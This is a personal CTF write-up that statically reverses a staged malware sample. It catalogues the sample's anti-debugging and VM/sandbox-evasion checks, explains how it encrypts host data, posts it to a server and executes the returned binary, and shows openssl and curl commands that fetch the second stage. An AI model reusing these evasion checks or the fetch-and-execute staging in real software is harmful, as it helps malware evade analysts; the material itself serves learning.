Introduction
This is my solution to the reversing challenge from the Meta Flash CTF of February 2025, titled “Carrot.”
Problem description:
Our threat intelligence has found a malware sample that seems heavily targeted at our competitor, MeatCTF. We tried to analyze it, but it just does nothing when we run it in a VM, can you help us analyze this?
Download the sample here and unzip with the password
infected
The infected password suggests that it may be some malware, and the description that it may contain anti-debugging or vm-detection properties.
This was the perfect excuse to solve it statically and forget the whole Flash CTF.
First analysis
The binary is a stripped 64-bit ELF.
$ file carrot carrot: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fd82f7845645aea67dee789f5cac0de456e83108, for GNU/Linux 4.4.0, stripped
Running the command iz
in radare, to get the strings of the binary, gives me very interesting clues that I will be unveiling when looking deeper.
The binary imports libcurl
and libcrypto
, and the imported functions also give more information about the capabilities of the malware.
[0x00002450]> il
libcurl.so.4
libcrypto.so.3
libc.so.6
Some interesting imported functions are ptrace
or difftime
, commonly used for anti-debugging, PEM_read_bio_RSA_PUBKEY
and RSA_public_encrypt
for encryption using a public key, EVP_aes_128_cbc
, EVP_CIPHER_CTX_new
, EVP_DecryptInit_ex
or EVP_EncryptInit_ex
for symmetric encryption and curl_global_init
for comunication with an external (C2?) server using libcurl
.
There are also different custom functions with moderate complexity, and I decided to use Ghidra to continue the analysis.
Lots of checks
The first thing when looking at the main function, is a long list of if-conditional statements. The functions and variables were renamed by me to help with the understanding.
The code contains various anti-debugging and vm-detection checks, along with conditions that are only satisfied under very specific configurations. If something is not right, it calls a function that reads the contents of /proc/cpuinfo
and prints it in a very peculiar way.
Using the debugger, we would have to modify the result of every function to trick the execution and progress to the next part of the code. Or we can patch the binary.
After realizing this code only exists to complicate debugging during execution, I determined it wasn’t relevant to my static analysis and moved on.
However, I was wrong and eventually had to look at them later.
When writing this post, I decided to present the functions in a more organized way than the chaotic process of discovery I originally went through. This explanation is closer to the intended solution path rather than documenting my back-and-forth learning experience.
1. Ptrace
The first check is an anti-debugging classic method, using the syscall ptrace.
2. Time1
The second check is time-based. It caputes the current time, sleeps for 150 seconds and captures the time again. If the difftime is less than 149.95 or greater than 150.25, its an indicator of some debugging activity, and does not pass this check.
3. Time2
The third check is also related to time, but this time the function doesn’t sleep. It constantly checks the difftime inside a loop and only exits if the diff is greater than 150. The other logic is the same as before.
4, Hypervisor
This check reads the contents of /proc/cpuinfo
and searches if the string hypervisor
is present. This means the binary may be run from a virtual machine.
5. VM
This function is a bit more complex.
The first part loads some filepaths to the stack, but Ghidra’s decompilation is very weird. I find easier to directly read the assembly code.
It opens and reads each filepath (/sys/class/dmi/id/product_name
, /sys/class/dmi/id/sys_vendor
, /proc/scsi/scsi
, /proc/ide/hd0/model
, /proc/ide/hd1/model
), searching for strings like “VMware”, “VirtualBox” or “QEMU” that indicate a virtual machine.
6. Connection
The sixth check uses the libcurl to make two different request to the urls https://metactf.com
and https://e205e724dda896b5a70bb03b7aed1dba.metactf.com
.
The curl library uses constants such as CURLOPT_URL
and CURLOPT_FAILONERROR
to configure options, which are defined in the source code (for example, in curl.h
):
int main(void)
{
*curl = curl_easy_init();
CURL if(curl) {
;
CURLcode res(curl, CURLOPT_URL, "https://example.com");
curl_easy_setopt= curl_easy_perform(curl);
res (curl);
curl_easy_cleanup}
}
The decompiled code from Ghidra doesn’t include those constants and looking for it in the source code is not easy.
I discovered that LLMs like ChatGPT or Claude excel at mapping these values back to their original constant names. With a few modifications and some variable renaming I finally got the following code that is very self explanatory:
(CURL_GLOBAL_ALL);
curl_global_init= curl_easy_init();
curl_session if (curl_session != NULL) {
(curl_session, CURLOPT_URL, "https://metactf.com");
curl_easy_setopt(curl_session, CURLOPT_FAILONERROR, 1L);
curl_easy_setopt= curl_easy_perform(curl_session);
r if (r == CURLE_OK) {
(curl_session, CURLINFO_RESPONSE_CODE, &status_code);
curl_easy_getinfoif (status_code == 200) {
(curl_session, CURLINFO_SIZE_DOWNLOAD, &download_size);
curl_easy_getinfoif (download_size != 0) {
= true;
ret }
}
}
(curl_session, CURLOPT_URL, "https://e205e724dda896b5a70bb03b7aed1dba.metactf.com");
curl_easy_setopt= curl_easy_perform(curl_session);
r if (r == CURLE_OK) {
(curl_session, CURLINFO_RESPONSE_CODE, &status_code);
curl_easy_getinfo= ret && (status_code == 200);
ret }
(curl_session);
curl_easy_cleanup}
(); curl_global_cleanup
The check only passes if making a request to https://metactf.com
returns status code 200
and its content size is greater than zero. The request to the second URL with a large subdomain does not exist and it’s a detection for a fake internet setup like inetsim, often used in sandboxes.
7. IP
The next check gets the IP addresses of the host and verifies if some address in in the 10.13.37.
subnet.
8. Process
The eighth check iterates through the running processes and reads the contents of /proc/%s/cmdline
for each one. To pass the check, the programs “wireshark”, “pspy”, “gdb”, “strace”, and “ltrace” must not be running, but some process with “apache2” in the cmdline
must be present.
9. User
This one is very simple, just ensures that the username is equal to meatctf
.
10. LD_PRELOAD
This one is also easy, the LD_PRELOAD
env variable must not be set. This environment variable is used to load shared libraries which may override functions of the binary to bypass some anti-debugging protections.
11. Fan
I’m a big fan of this check, didn’t know this technique.
12. Hostname
The final check is on the main function, and gets the hostname and compares with www
.
Reversing “The Important Stuff”
After all the previous checks, here starts the important stuff.
Big picture
After analyzing and understanding the individual functions and rename them to descriptive names, the main function can be summarized on the next pseudocode:
if (checks() == 0) {
= generate_json()
info_json = (RSA *)read_public_key();
rsa_public_key = RAND_bytes(0x10);
rand1_key = RAND_bytes(0x10);
rand2_iv = aes_cbc_encrypt(info_json,strlen(info_json),rand1_key,rand2_iv,&aes_encrypted_size);
aes_encrypted = rsa_public_encrypt(rsa_public_key,rand1_key,&rsa_encrypted_size)
rsa_encrypted register(aes_encrypted,aes_encrypted_size,rsa_encrypted,rsa_encrypted_size,rand2_iv,16,rand1_key,extraout_RAX);
}
First, it generates a json object with information from the machine. Then, it reads a hardcoded public rsa key and generates a key and an iv. Next, it encrypts the json data with aes cbc using the newly generated key and iv. This key is then encrypted using the hardcoded rsa public key. Finally, the function that I named “register” is called with all that information.
Generate json function
This function grabs information about the system and builds a json object. It uses functions similar to the ones used on the previous checks, so I had to review again the exact conditions to build the json with the required data.
{
"ip_addresses": "%s",
"hostname": "%s",
"username": "%s",
"processes": "%s",
"fan_count": %d,
"ld_preload_set": %d
}
Encryption functions
The encryption implementation (both rsa and aes) is standard and not critical to solving this challenge, so I’ll skip the details. It just encrypts data.
Register function
This function is quite large and complex, but can be divided in two very different parts.
Register - preparation
The first part prepares a curl session and prepares the data to be sent.
It uses the header Content-Type: application/octet-stream
and puts the data in the allocated memory _ptr_data
. The data is the IV, the key rsa-encrypted with the public key, and the aes encrypted json joined toghether. The order is important here.
Register - post request
The next part completes the parameters of the curl request. If the status_code response is ok, it decrypts the response data using the same aes key and iv, creates a temp file with the decrypted data, gives it execute permissions, and finally executes it in a new child process using the fork()
function.
Fck, is there a second binary?
After all this looong static analysis, the short available time of the flash ctf has already been consumed, and I almost decided to go to sleep (European Time here).
But I decided to push a bit more and try to obtain the second binary to continue the challenge the next day, in case the ctf infrastrucure was not longer available.
Retrieving the next stage binary
At this point, we have all the knowledge needed; we just need to manually craft a curl request with the encrypted JSON and decrypt the received data.
The first thing to do is generate the json data. After some tests, I realized that the initial checks are in fact the answers for the json data. So I created a file (data.txt
) with that information:
{"ip_addresses": "10.13.37.1", "hostname": "www", "username": "meatctf", "processes": "apache2", "fan_count": 2, "ld_preload_set": 0}
Then, we need to extract the public key from the binary.
Locate its position in r2 with the help of the command /cg
to search for cryptographic material, find the correct size, and export with wtf
:
[0x00002450]> /cg
0x000042c6 hit80_0 .om%dwww-----BEGIN PUBLIC KEY-----MIIBIjANBg.
[0x00002450]> px 0x1d0 @(0x000042c6-5)
- offset - C1C2 C3C4 C5C6 C7C8 C9CA CBCC CDCE CFD0 123456789ABCDEF0
0x000042c1 2d2d 2d2d 2d42 4547 494e 2050 5542 4c49 -----BEGIN PUBLI
0x000042d1 4320 4b45 592d 2d2d 2d2d 0a4d 4949 4249 C KEY-----.MIIBI
0x000042e1 6a41 4e42 676b 7168 6b69 4739 7730 4241 jANBgkqhkiG9w0BA
...
0x00004451 7230 7668 6d62 3850 4647 437a 526a 5466 r0vhmb8PFGCzRjTf
0x00004461 0a57 5149 4441 5141 420a 2d2d 2d2d 2d45 .WQIDAQAB.-----E
0x00004471 4e44 2050 5542 4c49 4320 4b45 592d 2d2d ND PUBLIC KEY---
0x00004481 2d2d 0a00 2000 0066 6666 6666 be62 4000 --.. ..fffff.b@. [0x00002450]> wtf public_key.pem 0x1c3 @ 0x000042c1
I generated the random key and iv with openssl:
openssl rand -out aes.key 16
openssl rand -out aes.iv 16
For encrypting with aes, I used the following command with the newly created key and iv:
openssl enc -aes-128-cbc -in data.txt -out encrypted_data.bin -K $(xxd -p -c 32 aes.key) -iv $(xxd -p -c 32 aes.iv)
And for encrypting the AES key using the RSA public key:
openssl rsautl -encrypt -inkey public.pem -pubin -in aes.key -out aes.key.enc
Combine the files in the correct order:
cat aes.iv aes.key.enc encrypted_data.bin > combined_data.bin
The final curl request uses the option --data-binary
to send the combined binary data.
curl -X POST \
--url "https://e973351f665441a608f99ad8fa2cd797.statichosting-aws.com/register" \
--data-binary @combined.bin \
-H "Content-Type: application/octet-stream" \
-o "response_encrypted_data.bin"
And finally, the last symmetric decryption is very similar to the encryption one:
openssl enc -d -aes-128-cbc -in response_encrypted_data.bin -out response_data.bin -K $(xxd -p -c 32 aes.key) -iv $(xxd -p -c 32 aes.iv)
And I ended up with another binary of just ~15K.
file response_data.bin response_data.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8f425245bcbc30f554f67fc993fd957c491a2b06, for GNU/Linux 4.4.0, stripped
Second stage binary
At this point, it was very late and I should have already been sleeping, but I couldn’t resist taking a quick look at the binary.
Fortunately for me (and my sleep schedule), the binary was very small.
The second stage binary only prints the flag!
MetaCTF{y0u_g0t_7h3_meats}
I went to sleep happy (and late) and proud to solve the challenge without running the binary :)
the problem was that the competition ended like two hours ago ¯\(ツ)/¯
maybe I should practice more my debugging skills and be a bit more competitive…